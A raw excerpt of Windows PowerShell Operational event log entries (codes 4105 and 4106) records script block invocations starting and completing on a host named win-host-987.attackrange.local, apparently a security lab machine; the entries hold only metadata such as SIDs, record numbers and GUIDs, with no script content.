SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046443
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046441
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046440
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046423
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046417
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
